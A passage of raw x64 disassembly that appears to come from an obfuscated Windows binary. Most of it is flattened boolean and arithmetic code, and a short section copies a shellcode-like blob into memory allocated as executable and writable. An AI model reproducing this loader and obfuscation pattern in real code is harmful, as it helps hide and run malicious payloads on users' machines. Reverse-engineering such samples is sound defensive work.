and dl, cl
xor cl, 1
and cl, r11b
mov r9d, r15d
xor r9b, 1
or cl, dl
or al, r8b
xor al, 1
mov edx, ecx
and dl, al
xor al, cl
or al, dl
mov ecx, eax
xor cl, 1
and al, cl
mov edx, ecx
and dl, al
xor al, cl
or al, dl
xor r14b, sil
or r14b, bl
mov edx, eax
xor dl, 1
mov ecx, edx
or cl, al
mov ebx, eax
xor bl, cl
or cl, al
xor cl, 1
or cl, bl
mov ebx, ecx
xor bl, 1
and al, bl
or bl, dl
xor bl, 1
and cl, dl
or cl, al
mov eax, ebx
and al, cl
xor cl, bl
or cl, al
mov eax, ecx
xor al, 1
mov edx, eax
and dl, cl
mov ebx, eax
xor bl, dl
xor dl, 1
or dl, cl
xor dl, 1
or dl, bl
mov r10d, edx
xor r10b, 1
or al, cl
mov ebx, edx
and bl, r10b
mov ecx, ebx
xor bl, dl
mov r8d, eax
xor r8b, 1
and r8b, al
xor cl, 1
or cl, r10b
xor cl, 1
or cl, bl
xor r8b, 1
mov edx, r8d
xor dl, al
or r8b, al
xor r8b, 1
or r8b, dl
mov edx, ecx
xor dl, 1
and dl, r8b
xor r8b, 1
and r8b, cl
or r8b, dl
mov ecx, r10d
and cl, al
xor al, r10b
or al, cl
mov ecx, eax
xor cl, r8b
xor r8b, 1
xor cl, 1
or r8b, al
xor r8b, 1
or r8b, cl
and r13b, dil
mov eax, r13d
xor al, 1
or al, r13b
xor al, 1
mov ecx, r13d
and cl, al
xor al, r13b
or al, cl
xor r12b, al
mov ecx, eax
xor cl, r12b
or r12b, al
xor r12b, 1
or r12b, cl
mov eax, r15d
and al, r9b
mov ecx, r15d
and cl, al
xor al, r15b
or al, cl
mov ebx, r15d
or bl, r9b
xor al, bl
mov ecx, r15d
and cl, bl
xor r15b, bl
or r15b, cl
xor r15b, 1
mov ecx, eax
and cl, r15b
xor r15b, al
or r15b, cl
mov r13d, r15d
xor r13b, 1
mov r10d, r13d
xor r10b, r15b
mov edi, r15d
or dil, r13b
xor dil, 1
mov eax, r10d
or al, dil
mov ecx, eax
xor cl, 1
and al, cl
mov edx, ecx
and dl, al
xor al, cl
or al, dl
xor bl, 1
or bl, r9b
mov r11d, ebx
mov r9d, ebx
and bl, al
mov ecx, eax
xor al, 1
xor r11b, 1
and r9b, al
and cl, r11b
or cl, r9b
mov edx, ecx
xor dl, al
and dl, cl
and r11b, al
or bl, r11b
xor dl, 1
xor bl, 1
mov eax, edx
or al, bl
xor al, 1
xor bl, dl
mov ecx, eax
and cl, bl
xor bl, al
or bl, cl
mov ecx, ebx
xor cl, 1
mov r11d, ebx
or r11b, cl
mov eax, ecx
and al, bl
mov edx, eax
xor al, cl
xor dl, 1
or dl, bl
xor dl, 1
or dl, al
mov eax, r11d
xor al, 1
mov ecx, edx
xor cl, 1
and cl, al
and dl, r11b
or dl, cl
mov eax, ebx
and al, r11b
xor r11b, bl
mov r9d, r8d
xor r9b, 1
or r11b, al
xor r11b, 1
mov eax, edx
and al, r11b
xor r11b, dl
or r11b, al
and r10b, r15b
xor r10b, dil
mov ecx, r10d
xor cl, 1
and dil, cl
mov eax, edi
xor dil, r10b
mov r10d, r11d
xor r10b, 1
xor al, 1
or al, cl
xor al, 1
or al, dil
mov ecx, eax
xor cl, 1
and al, cl
mov ebx, eax
and bl, cl
xor al, cl
or al, bl
mov ecx, eax
xor cl, r13b
and cl, al
mov ebx, eax
xor bl, 1
and bl, r15b
and al, r13b
or al, bl
mov ebx, ecx
and bl, al
xor al, cl
or al, bl
mov ecx, eax
xor cl, 1
and al, cl
mov ebx, ecx
and bl, al
xor al, cl
or al, bl
mov ecx, eax
xor cl, 1
mov ebx, eax
and bl, cl
mov edx, ebx
and dl, al
xor bl, al
or bl, dl
or cl, al
mov eax, ecx
xor al, bl
xor bl, 1
xor al, 1
or bl, cl
xor bl, 1
or bl, al
mov eax, ebx
xor al, 1
and al, bl
xor al, 1
mov ecx, ebx
xor cl, al
or al, bl
xor al, 1
or al, cl
mov ebx, eax
xor bl, 1
mov ecx, eax
and cl, bl
mov edx, ecx
and dl, al
xor cl, al
or cl, dl
or bl, al
xor bl, 1
mov eax, ecx
and al, bl
xor bl, cl
or bl, al
mov eax, ebx
xor al, 1
and bl, al
mov ecx, eax
and cl, bl
xor bl, al
or bl, cl
mov r15d, r11d
and r15b, r10b
mov eax, r11d
and al, r15b
xor r15b, r11b
or r15b, al
mov r13d, r15d
xor r13b, 1
mov eax, ebx
xor al, 1
and bl, al
mov ecx, eax
and cl, bl
xor bl, al
or bl, cl
or r10b, r11b
xor r10b, 1
mov r11d, ebx
xor r11b, 1
mov ecx, r15d
and cl, r13b
xor cl, 1
mov edx, ecx
xor dl, r13b
or cl, r13b
xor cl, 1
or cl, dl
mov edx, r10d
xor dl, r13b
xor cl, r10b
xor cl, 1
xor dl, 1
or r10b, r15b
xor r10b, 1
or r10b, dl
mov edx, ecx
xor dl, r10b
or r10b, cl
xor r10b, 1
or r10b, dl
mov ecx, r11d
or cl, bl
mov edx, r11d
xor dl, cl
or cl, r11b
xor cl, 1
or cl, dl
xor cl, 1
mov edx, ecx
or dl, r10b
xor cl, r10b
xor cl, 1
and cl, r10b
xor cl, 1
mov r10d, edx
xor r10b, cl
or cl, dl
mov edi, r12d
xor dil, 1
xor cl, 1
or cl, r10b
xor bl, r15b
xor bl, 1
mov edx, r13d
and dl, r11b
xor r11b, r13b
or r11b, dl
mov edx, ebx
xor dl, r11b
or r11b, bl
xor r11b, 1
or r11b, dl
mov edx, r11d
xor dl, 1
mov r10d, ecx
xor r10b, 1
mov eax, ecx
and al, r10b
mov ebx, eax
xor bl, 1
or bl, r10b
mov r10d, edx
and r10b, r11b
xor al, cl
xor bl, 1
or bl, al
xor r10b, 1
mov eax, r10d
xor al, r11b
or r10b, r11b
xor r10b, 1
or r10b, al
xor r10b, bl
mov eax, ecx
xor al, dl
or dl, cl
xor dl, 1
or dl, al
mov eax, edx
xor al, r10b
xor r10b, 1
xor al, 1
or r10b, dl
xor r10b, 1
or r10b, al
mov eax, r12d
and al, dil
mov ecx, r12d
and cl, al
xor al, r12b
or al, cl
xor al, 1
mov ecx, eax
or cl, r8b
xor cl, 1
xor al, r8b
xor al, 1
and al, r8b
mov edx, ecx
and dl, al
xor al, cl
or al, dl
mov r11d, eax
xor r11b, 1
and al, r8b
mov ecx, r8d
or cl, r9b
mov ebx, ecx
xor bl, 1
and bl, r8b
or r8b, cl
and cl, r9b
and r9b, r11b
or al, r9b
xor r11b, al
and r11b, al
or r12b, dil
xor r8b, 1
or cl, bl
mov eax, r8d
and al, cl
xor cl, r8b
or cl, al
mov eax, edi
or al, r12b
xor al, 1
xor r12b, dil
mov ebx, eax
and bl, r12b
xor r12b, al
or r12b, bl
xor r12b, 1
mov eax, r12d
or al, cl
xor al, 1
xor r12b, cl
xor r12b, 1
and r12b, cl
mov ecx, eax
and cl, r12b
xor r12b, al
or r12b, cl
mov ebx, r11d
xor bl, 1
mov ecx, r12d
xor cl, 1
or r12b, cl
mov r8d, ecx
xor r8b, r12b
or r12b, cl
mov r9d, ebx
xor r9b, cl
or cl, bl
or bl, r11b
xor bl, 1
mov edx, r11d
and dl, bl
xor bl, r11b
or bl, dl
xor r12b, 1
or r12b, r8b
mov r11d, ebx
xor r11b, 1
mov edx, r11d
and dl, bl
mov r8d, r12d
xor r8b, 1
mov eax, r8d
and al, r12b
xor r11b, dl
xor dl, 1
or dl, bl
xor dl, 1
or dl, r11b
xor r8b, al
xor al, 1
or al, r12b
xor al, 1
or al, r8b
mov ebx, edx
xor bl, 1
and bl, al
xor al, 1
and al, dl
or al, bl
xor cl, 1
or cl, r9b
xor r9b, 1
mov edx, r9d
xor dl, cl
or cl, r9b
xor cl, 1
or cl, dl
mov edx, ecx
xor dl, 1
mov ebx, eax
xor bl, 1
and dl, bl
or bl, cl
and cl, al
or cl, dl
xor cl, 1
mov eax, ebx
xor al, cl
or cl, bl
xor cl, 1
or cl, al
mov r9d, r10d
xor r9b, 1
mov edx, r9d
and dl, r10b
mov eax, r9d
and al, dl
xor dl, r9b
or dl, al
mov eax, edx
xor al, 1
or al, dl
mov edx, eax
or dl, r9b
xor al, r9b
xor al, 1
mov ebx, edx
xor bl, al
or al, dl
xor al, 1
or al, bl
mov edx, ecx
xor dl, 1
mov ebx, edx
and bl, cl
mov r8d, edx
and r8b, bl
xor bl, dl
or bl, r8b
xor al, bl
mov r11d, eax
xor r11b, 1
and r11b, bl
mov ebx, r11d
and bl, al
xor r11b, al
or r11b, bl
mov r8d, r11d
xor r8b, 1
mov eax, edx
or al, cl
xor cl, al
xor cl, 1
or al, dl
xor al, 1
or al, cl
mov ecx, eax
xor cl, 1
mov edx, r9d
xor dl, cl
and dl, r9b
and al, r10b
and cl, r9b
or cl, al
mov eax, edx
and al, cl
xor cl, dl
or cl, al
mov eax, ecx
xor al, 1
mov edi, eax
and dil, cl
xor al, dil
xor dil, 1
or dil, cl
xor dil, 1
or dil, al
mov r15d, edi
xor r15b, 1
mov edx, r11d
xor dl, r8b
and dl, r11b
mov r10d, r11d
or r10b, r8b
mov r9d, r10d
xor r9b, 1
mov r12d, edi
or r12b, r15b
mov ecx, r12d
xor cl, 1
mov ebx, edx
xor bl, r10b
and bl, dl
and r10b, dl
xor dl, 1
and dl, r9b
or r10b, dl
mov edx, ebx
and dl, r10b
xor r10b, bl
or r10b, dl
mov ebx, ecx
and bl, r12b
mov r9d, r15d
and r9b, dil
mov edx, ebx
and dl, cl
xor bl, cl
or bl, dl
mov edx, r9d
xor dl, 1
or dl, dil
xor dl, 1
mov r13d, r9d
xor r13b, r15b
or dl, r13b
mov eax, edx
xor al, 1
and al, bl
xor bl, 1
and bl, dl
or bl, al
xor r12b, dil
or cl, r15b
xor cl, 1
or cl, r12b
mov eax, ecx
xor al, bl
xor bl, 1
or bl, cl
xor al, 1
xor bl, 1
or bl, al
mov eax, r10d
xor al, 1
and al, bl
xor bl, 1
and bl, r10b
or bl, al
and r11b, r8b
xor r11b, 1
mov eax, r11d
xor al, r8b
or r11b, r8b
xor r11b, 1
or r11b, al
and r9b, r15b
or r9b, r13b
xor r9b, r11b
mov eax, r8d
and al, dil
xor dil, r8b
or dil, al
xor dil, 1
mov eax, r9d
and al, dil
xor dil, r9b
or dil, al
mov ecx, edi
xor cl, 1
mov r8d, ebx
xor r8b, dil
and r8b, bl
and dil, bl
xor bl, 1
and bl, cl
mov ecx, r14d
mov r9b, byte [rbp - 0x30]
xor cl, r9b
and cl, r14b
mov al, byte [rbp - 0x28]
or r14b, al
xor r14b, 1
mov edx, ecx
and dl, r14b
xor r14b, cl
or r14b, dl
xor r14b, 1
mov r10d, r14d
mov edx, eax
and r10b, al
xor r14b, al
mov cl, byte [rbp - 0x38]
xor cl, dl
xor dl, sil
or dil, bl
mov eax, r8d
and al, dil
xor dil, r8b
or dil, al
or r14b, r10b
mov eax, r14d
xor al, 1
xor sil, dl
and sil, dl
mov dl, byte [rbp - 0x34]
or dl, r9b
xor dl, 1
or dl, cl
mov ebx, edx
xor bl, 1
mov ecx, esi
xor cl, 1
and bl, cl
and sil, dl
or sil, bl
mov ebx, ecx
and bl, dl
xor cl, dl
or cl, bl
xor cl, 1
mov edx, esi
and dl, cl
xor cl, sil
or cl, dl
mov r10d, r14d
and r10b, al
mov edx, r14d
and dl, r10b
xor r10b, r14b
or r10b, dl
mov r11d, ecx
xor r11b, 1
mov r9d, r11d
and r9b, cl
mov edx, r11d
and dl, r9b
xor r9b, r11b
or r9b, dl
mov r8d, r10d
xor r8b, 1
mov edx, r10d
xor dl, r8b
and dl, r10b
or al, r14b
mov ebx, eax
xor bl, 1
or r11b, cl
mov ecx, ebx
and cl, al
xor cl, 1
mov esi, ecx
xor sil, al
or cl, al
mov eax, r9d
xor al, 1
xor cl, 1
or cl, sil
xor cl, dl
mov esi, edx
xor sil, bl
or bl, dl
mov edx, r11d
xor dl, 1
xor bl, 1
or bl, sil
xor bl, 1
mov esi, ecx
and sil, bl
xor bl, cl
or bl, sil
mov esi, eax
xor sil, r11b
and r11b, r9b
mov ecx, eax
and cl, dl
or cl, r11b
or dl, r9b
xor dl, 1
or dl, sil
xor dl, 1
mov r11d, ecx
and r11b, dl
xor dl, cl
or dl, r11b
mov ecx, edx
xor cl, 1
and cl, dl
xor cl, 1
mov r11d, edx
xor r11b, cl
or cl, dl
xor cl, 1
or cl, r11b
mov edx, ecx
and dl, bl
xor bl, 1
xor cl, 1
and cl, bl
or cl, dl
mov edx, r10d
xor dl, al
and dl, r10b
and r8b, r9b
and al, r10b
or al, r8b
mov ebx, edx
xor bl, 1
xor dl, al
xor al, 1
or al, bl
xor al, 1
or al, dl
mov edx, eax
xor dl, 1
and al, dl
mov ebx, edx
and bl, al
xor al, dl
or al, bl
mov r8d, eax
xor r8b, 1
mov r9d, ecx
xor r9b, 1
mov ebx, r9d
and bl, cl
mov edx, r8d
and dl, al
xor r9b, bl
xor bl, 1
or bl, cl
xor bl, 1
or bl, r9b
xor r8b, dl
xor dl, 1
or dl, al
xor dl, 1
or dl, r8b
xor dl, bl
mov ebx, ecx
xor bl, al
or al, cl
xor al, 1
or al, bl
xor al, 1
mov ecx, edx
and cl, al
xor al, dl
or al, cl
mov r8d, eax
xor r8b, 1
mov ecx, r8d
and cl, al
xor cl, 1
mov edx, eax
xor dl, cl
or cl, al
xor cl, 1
or cl, dl
xor cl, 1
mov edx, eax
or dl, r8b
mov r9d, ecx
or r9b, dl
xor cl, dl
mov ebx, r9d
xor bl, cl
xor cl, 1
xor bl, 1
or cl, r9b
xor cl, 1
or cl, bl
xor r8b, al
xor dl, 1
or dl, r8b
mov eax, edx
xor al, 1
and dl, al
mov ebx, eax
and bl, dl
xor dl, al
or dl, bl
mov eax, edx
xor al, cl
mov r8d, eax
and al, cl
xor cl, 1
or r8b, cl
mov ebx, r8d
xor bl, 1
xor cl, dl
xor cl, 1
and cl, dl
mov edx, ecx
and dl, al
xor al, cl
or al, dl
mov ecx, r8d
and cl, al
xor al, 1
and bl, al
or bl, cl
mov ecx, r8d
and cl, al
xor al, r8b
or al, cl
xor bl, 1
mov ecx, ebx
xor cl, al
or bl, al
xor bl, 1
or bl, cl
mov eax, ebx
xor al, 1
mov ecx, ebx
and cl, al
mov edx, ecx
xor dl, 1
xor cl, al
or dl, bl
xor dl, 1
or dl, cl
mov ebx, edx
xor bl, 1
mov eax, ebx
or al, dl
mov ecx, eax
xor cl, 1
and dl, al
or al, bl
xor al, 1
and cl, bl
or cl, dl
mov edx, eax
and dl, cl
xor cl, al
or cl, dl
mov r11d, ecx
xor r11b, 1
or r11b, cl
mov edx, ecx
xor dl, r11b
or r11b, cl
xor r11b, 1
or r11b, dl
mov edx, r11d
xor dl, 1
mov r8d, edi
xor r8b, 1
mov r10d, edx
xor r10b, dil
mov ecx, r10d
and cl, dl
and r10b, dil
mov ebx, ecx
and bl, r10b
xor r10b, cl
or r10b, bl
xor r10b, 1
mov ecx, r10d
and cl, r8b
xor r10b, r8b
or r10b, cl
mov ebx, edi
or bl, r8b
mov ecx, r8d
and cl, dil
mov r9d, ecx
xor r9b, 1
xor cl, r8b
or r9b, dil
xor r9b, 1
or r9b, cl
xor r9b, bl
mov eax, edx
and al, r11b
mov r8d, edx
and r8b, al
xor al, dl
or al, r8b
or dl, r11b
mov r11d, edx
mov ecx, eax
xor cl, dl
and cl, al
and dl, al
xor al, 1
xor r11b, 1
and r11b, al
mov eax, edi
and al, bl
xor bl, dil
mov r8d, r10d
xor r8b, 1
or bl, al
mov eax, r9d
xor al, bl
or bl, r9b
xor bl, 1
or bl, al
or dl, r11b
xor cl, 1
xor dl, 1
mov eax, ecx
xor al, dl
or dl, cl
xor dl, 1
or dl, al
mov esi, edx
xor sil, bl
and dl, sil
and sil, bl
mov eax, edx
and al, sil
xor sil, dl
or sil, al
mov r11d, esi
xor r11b, 1
mov edi, r8d
or dil, r10b
mov r9d, edi
xor r9b, 1
mov eax, esi
and al, r11b
mov edx, esi
and dl, al
xor al, sil
or al, dl
mov ecx, esi
or cl, r11b
xor cl, r11b
and r9b, r8b
xor al, r8b
xor sil, r8b
or r8b, dil
and dil, r10b
or dil, r9b
xor dil, 1
mov r9d, r8d
xor r9b, dil
or dil, r8b
xor dil, 1
or dil, r9b
mov edx, ecx
and dl, r11b
mov ebx, ecx
xor bl, dl
xor dl, 1
or dl, cl
xor bl, 1
xor dl, 1
or dl, bl
mov ecx, edx
xor cl, dil
and dl, cl
and cl, dil
mov ebx, edx
xor bl, 1
xor dl, cl
xor cl, 1
or cl, bl
xor cl, 1
or cl, dl
or r11b, r10b
xor r11b, 1
or r11b, sil
mov edx, r11d
xor dl, al
xor al, 1
or al, r11b
xor dl, 1
xor al, 1
or al, dl
xor al, cl
and cl, al
mov edx, eax
xor dl, cl
test al, 1
mov eax, 0x3c063c5c
mov ebx, 0x93357914
cmovne eax, ebx
test cl, 1
cmove eax, ebx
test dl, 1
mov ecx, 0x3c063c5c
jmp 0x14001673f
cmp eax, 0x2ac7fc7e
je 0x140012d35
cmp eax, 0x3c063c5c
je 0x140012d4a
cmp eax, 0x49ac6f7e
jne 0x140001cd0
mov eax, 0xfc70
call fcn.140001055
sub rsp, rax
mov rcx, rsp
mov qword [rbp - 0x20], rcx
mov rax, qword [rbp - 0x20]
sub rsp, 0x20
mov r8d, 0xfc69
lea rdx, str.PSQRVWUTAPAQARASATAUAVAWH
call sub.VCRUNTIME140.dll_memcpy
mov ecx, 0x1f8d2
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_malloc]
add rsp, 0x20
mov qword [rbp - 0x18], rax
mov rdx, qword [rbp - 0x20]
mov rcx, qword [rbp - 0x18]
sub rsp, 0x20
mov r8d, 0xfc69
call sub.VCRUNTIME140.dll_memcpy
lea rcx, str.___Allocating__d_bytes_of_memory_n
mov edx, 0xfc69
call fcn.1400010d7
mov edx, 0xfc69
xor ecx, ecx
mov r8d, 0x3000
mov r9d, 0x40
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
add rsp, 0x20
mov qword [rbp - 0x10], rax
cmp qword [rbp - 0x10], 0
sete byte [rbp - 5]
mov ecx, dword [0x1400508d0]
lea r10d, [rcx - 1]
imul r10d, ecx
mov r8d, r10d
not r8d
mov ecx, r8d
and ecx, 0xd2bef8c2
mov edx, r10d
and edx, 0x2d41073d
or edx, ecx
xor edx, 0x2d41073d
mov ecx, r8d
and ecx, r10d
mov ebx, edx
and ebx, ecx
xor ecx, edx
or ecx, ebx
mov edx, ecx
not edx
and ecx, 0x935d3291
and edx, 0x6ca2cd6e
or edx, ecx
mov ebx, edx
xor ebx, 0x120d3091
xor edx, 0x420c10a
and edx, 0x8570c30a
and ebx, 0x7a8f3cf5
or ebx, edx
mov edx, ebx
xor edx, 0x42872c51
xor ebx, 0x8570c30a
mov ecx, ebx
and ecx, 0x3d1811a6
and edx, 0xc2e7ee59
or edx, ecx
mov edi, edx
xor edi, 0x82022a08
mov r9d, edx
xor r9d, 0x3d1811a6
mov ecx, r9d
or ecx, 0xc9853445
mov eax, ecx
not eax
or ebx, 0x367acbba
mov esi, ebx
not esi
and ecx, 0xd1c18a20
and eax, 0x263a419a
or eax, ecx
and ebx, 0xd1c18a20
and esi, 0x8043445
or esi, ebx
xor esi, eax
mov eax, esi
not eax
and eax, 0x367acbba
and esi, 0xc9853445
or esi, eax
and r9d, 0x7dfdd4f1
and edi, 0x82022b0e
or edi, r9d
xor edi, 0x82022b0e
xor edx, 0xc2e7ee59
or edx, edi
mov eax, edx
not eax
and eax, 0xd9f49ad8
and edx, 0x260b6527
or edx, eax
xor edx, 0x260b6527
mov eax, esi
and eax, edx
xor edx, esi
or edx, eax
mov eax, edx
not eax
and edx, 0x453efe94
and eax, 0xbac1016b
or eax, edx
mov ecx, eax
xor ecx, 0x453efe94
xor eax, 0xbac1016b
and ecx, eax
mov edx, eax
and edx, ecx
xor ecx, eax
or ecx, edx
mov r11d, ecx
not r11d
and ecx, 0xecdaf0d3
and r11d, 0x13250f2c
or r11d, ecx
mov r9d, r11d
xor r9d, 0x13250f2c
xor r11d, 0xecdaf0d3
and r8d, 0xf834b3a1
and r10d, 0x7cb4c5e
or r10d, r8d
mov eax, r10d
not eax
and eax, 0x4f841ca2
and r10d, 0xb07be35d
or r10d, eax
mov eax, r10d
xor eax, 0x484f50fc
mov ecx, r10d
xor ecx, 0x13900301
xor r10d, 0xb7b0af03
mov ebx, r10d
and ebx, 0xec2efc52
mov esi, eax
and esi, 0x13d103ad
or esi, ebx
or r10d, eax
and eax, 0xec2efc52
and ecx, 0x13d103ad
or ecx, eax
xor ecx, esi
not r10d
or r10d, ecx
mov esi, r10d
not esi
and r10d, 0x55bb6bd7
and esi, 0xaa449428
or esi, r10d
mov ecx, esi
xor ecx, 0x55bb6bd7
xor esi, 0xaa449428
mov ebx, esi
and ebx, 0x5dc24a77
mov eax, ecx
and eax, 0xa23db588
or eax, ebx
mov edi, eax
xor edi, 0xa034b508
xor eax, 0x5dc24a77
mov ebx, r9d
and ebx, 0x524948c3
mov edx, r11d
and edx, 0xadb6b73c
or edx, ebx
mov ebx, r9d
or ebx, eax
and eax, 0x524948c3
and edi, 0xadb6b73c
or edi, eax
xor edi, edx
not ebx
or ebx, edi
mov eax, ebx
not eax
and eax, 0xaa4fbd03
and ebx, 0x55b042fc
or ebx, eax
mov eax, ebx
xor eax, 0x55b042fc
mov edx, r11d
and edx, 0x1a051427
and r9d, 0x12ae0c0
or r9d, edx
mov edx, r9d
xor edx, 0xac080
xor r9d, 0xc8541e34
or r11d, 0x1b2ff4e7
mov edi, r11d
not edi
and esi, 0x1b2ff4e7
and ecx, 0xe4d00b18
or ecx, esi
and r9d, 0xc9743e74
and edx, 0x120bc083
or edx, r9d
and r11d, 0xc9743e74
and edi, 0x24800108
or edi, r11d
xor edi, edx
mov edx, edi
not edx
and edx, ecx
not ecx
and ecx, edi
or ecx, edx
xor ebx, 0xaa4fbd03
mov r11d, ecx
not r11d
and ecx, ebx
or ebx, r11d
not ebx
and r11d, eax
or r11d, ecx
mov eax, ebx
and eax, r11d
xor r11d, ebx
or r11d, eax
mov r10d, r11d
not r10d
mov eax, r11d
and eax, 0xee0a21dc
mov ebx, r10d
and ebx, 0x11f5de23
or ebx, eax
mov eax, ebx
xor eax, 0xc0c002
and eax, 0xc6cae0de
xor ebx, 0xd73f3efd
or ebx, eax
mov ecx, ebx
not ecx
mov eax, r10d
and eax, 0x39351f21
mov edi, r11d
and edi, 0xc6cae0de
or edi, eax
mov edx, edi
xor edx, r10d
and edx, edi
mov esi, edx
not esi
mov eax, ebx
or eax, esi
mov edi, eax
not edi
and ebx, 0xfd8e5447
and ecx, 0x271abb8
or ecx, ebx
and esi, 0xfd8e5447
and edx, 0x271abb8
or edx, esi
xor edx, ecx
mov ecx, edx
not ecx
mov ebx, eax
and ebx, 0xff03ae29
and edi, 0xfc51d6
or edi, ebx
or eax, ecx
and ecx, 0xff03ae29
and edx, 0xfc51d6
or edx, ecx
xor edx, edi
not eax
or eax, edx
mov edx, eax
not edx
mov ecx, edx
and ecx, 0x5aa1feab
and eax, 0xa55e0154
or eax, ecx
mov ebx, eax
xor ebx, 0x4080010
xor eax, 0x2800000
or edx, 0x769c1a1c
mov r13d, edx
not r13d
or eax, 0x814301a0
and eax, 0xa3d701a4
and ebx, 0x54081a18
or ebx, eax
and edx, 0xa3d701a4
and r13d, 0x820e443
or r13d, edx
xor r13d, ebx
mov eax, r13d
not eax
and eax, 0x255ba96e
and r13d, 0xdaa45691
or r13d, eax
mov edx, r13d
xor edx, 0x950d53ac
mov dword [rbp - 0x34], edx
mov eax, r13d
mov dword [rbp - 0x30], r13d
xor eax, 0x6af2ac53
mov ecx, eax
and ecx, 0xd0402748
xor r13d, 0x44c8f4d5
and r13d, edx
and edx, 0x1858031
or edx, ecx
xor edx, 0x1858031
mov ecx, edx
and ecx, r13d
xor r13d, edx
or r13d, ecx
mov ecx, r13d
not ecx
and ecx, 0xcec227f3
and r13d, 0x313dd80c
or r13d, ecx
xor r13d, 0x4f955c22
mov ecx, r13d
mov dword [rbp - 0x28], eax
and ecx, eax
xor r13d, eax
or r13d, ecx
mov ecx, r13d
not ecx
and ecx, 0x92c44f82
and r13d, 0x6d3bb07d
or r13d, ecx
mov edi, r13d
xor edi, 0x6d3bb07d
mov ecx, r10d
and ecx, 0x62820201
mov esi, r11d
and esi, 0x8829f040
or esi, ecx
mov ecx, esi
xor ecx, 0x28f000
xor esi, 0x54520b93
mov ebx, r10d
or ebx, 0xeaabf241
mov edx, ebx
not edx
and esi, 0xdc530bd3
and ecx, 0x22a8f000
or ecx, esi
and ebx, 0xdc530bd3
and edx, 0x104042c
or edx, ebx
xor edx, ecx
mov ecx, edx
not ecx
and ecx, 0xba392ee9
and edx, 0x45c6d116
or edx, ecx
mov esi, edx
not esi
mov ecx, esi
and ecx, 0x17f8c45e
and edx, 0xe8073ba1
or edx, ecx
and r11d, 0x17f8c45e
and r10d, 0xe8073ba1
or r10d, r11d
xor r10d, edx
xor esi, r10d
and esi, r10d
mov ebx, r13d
xor ebx, 0x92c44f82
mov edx, edi
xor r13d, 0x8b31f904
and r13d, edi
mov ecx, ebx
and ecx, 0x13c8ca22
and edi, 0xec3735dd
or edi, ecx
not edi
or edi, ebx
and ebx, 0x42000860
and edx, 0xa40a4119
or edx, ebx
xor edx, 0xa40a4119
mov ecx, edx
and ecx, r13d
xor r13d, edx
or r13d, ecx
mov ecx, r13d
not ecx
and ecx, 0xb45fc058
and r13d, 0x4ba03fa7
or r13d, ecx
mov r14d, r13d
xor r14d, 0xadaa76de
mov r8d, esi
not r8d
mov ecx, r8d
and ecx, 0x5a830304
mov edx, esi
and edx, 0xa1200053
or edx, ecx
mov ecx, edx
xor ecx, 0xa0200002
xor edx, 0x50411ba4
mov ebx, r8d
or ebx, 0xfba30357
mov r12d, ebx
not r12d
and edx, 0x51411bf5
and ecx, 0xaaa20002
or ecx, edx
and ebx, 0x51411bf5
and r12d, 0x41ce408
or r12d, ebx
xor r12d, ecx
mov ecx, r12d
not ecx
and ecx, 0x9882240f
and r12d, 0x677ddbf0
or r12d, ecx
mov ecx, r12d
xor ecx, 0x10c8c822
mov eax, r13d
xor eax, 0x52558921
mov r15d, eax
mov dword [rbp - 0x38], eax
and r15d, 0x7fcd3d99
xor r13d, 0xbba97438
mov r10d, r13d
and r13d, r14d
and r14d, 0x8032c266
or r14d, r15d
mov ebx, r12d
xor ebx, 0x63212758
mov r15d, ebx
and r15d, 0xec3735dd
and ecx, 0x13c8ca22
or ecx, r15d
mov r15d, ecx
xor r15d, ebx
and r15d, ecx
and r8d, 0x4125561d
and esi, 0xbedaa9e2
or esi, r8d
mov ecx, esi
xor ecx, 0x12c88822
and ecx, 0x13c8ca22
xor esi, 0xad1263c0
or esi, ecx
mov ecx, esi
not ecx
and ecx, 0xe288623d
and esi, 0x1d779dc2
or esi, ecx
mov ecx, edi
not ecx
mov r8d, edi
and r8d, 0x8174039e
and ecx, 0x7e8bfc61
or ecx, r8d
xor r14d, 0x6c05f7bb
or r14d, eax
mov r8d, r14d
not r8d
mov r11d, r14d
xor r11d, 0x700c4d92
mov eax, r11d
and eax, r14d
and r11d, r8d
mov edx, eax
and edx, r11d
xor r11d, eax
or r11d, edx
mov r9d, ecx
xor ecx, 0x8174039e
mov eax, ecx
or eax, 0x700c4d92
mov edx, eax
not edx
and eax, 0x5f77f7f7
and edx, 0x80800008
or edx, eax
or edi, 0x8ff3b26d
mov eax, edi
not eax
and edi, 0x5f77f7f7
and eax, 0x20080800
or eax, edi
xor eax, edx
mov edx, r11d
not edx
and edx, 0x30993390
and r11d, 0xcf66cc6f
or r11d, edx
mov edx, eax
not edx
and edx, 0x30993390
and eax, 0xcf66cc6f
or eax, edx
xor eax, r11d
mov edx, r8d
and edx, 0xe907584f
and r14d, 0x16f8a7b0
or r14d, edx
xor r9d, 0x1688a420
or r8d, ecx
and ecx, 0xe907584f
and r9d, 0x16f8a7b0
or r9d, ecx
xor r9d, r14d
not r8d
or r8d, r9d
not r8d
mov ecx, eax
and ecx, r8d
xor r8d, eax
or r8d, ecx
mov eax, r15d
not eax
and eax, 0xe69072d1
mov ecx, r15d
and ecx, 0x196f8d2e
or ecx, eax
mov eax, ecx
xor eax, 0x196f8d2e
xor ecx, 0x8295d055
and ecx, eax
and r15d, 0x9bfa5d7b
mov edx, ecx
and edx, r15d
xor r15d, ecx
or r15d, edx
mov ecx, esi
xor ecx, 0x19721d42
mov edi, esi
xor edi, 0xe288623d
xor esi, 0x79723f46
and esi, edi
and ecx, 0x9bfa5d7b
mov edx, esi
and edx, ecx
xor ecx, esi
or ecx, edx
mov edx, r15d
not edx
and edx, 0x81fe1d29
and r15d, 0x7e01e2d6
or r15d, edx
mov edx, ecx
not edx
and edx, 0x81fe1d29
and ecx, 0x7e01e2d6
or ecx, edx
xor ecx, r15d
mov edx, eax
and edx, edi
xor edi, eax
or edi, edx
mov eax, edi
not eax
and eax, 0x9b07040e
and edi, 0x64f8fbf1
or edi, eax
xor edi, 0x64f8fbf1
mov eax, ecx
and eax, edi
xor edi, ecx
or edi, eax
mov eax, r8d
xor eax, edi
and eax, edi
mov ecx, edi
not ecx
and ecx, 0xa63915a4
and edi, 0x59c6ea5b
or edi, ecx
xor edi, r8d
xor edi, 0xa63915a4
and edi, r8d
mov ecx, eax
and ecx, edi
xor edi, eax
or edi, ecx
mov r9d, dword [rbp - 0x38]
and r10d, r9d
xor r12d, 0x8addda41
and r12d, ebx
mov eax, ebx
or eax, 0x160302e6
mov ecx, r10d
not ecx
mov edx, ecx
and edx, 0x9778e78f
and r10d, 0x68871870
or r10d, edx
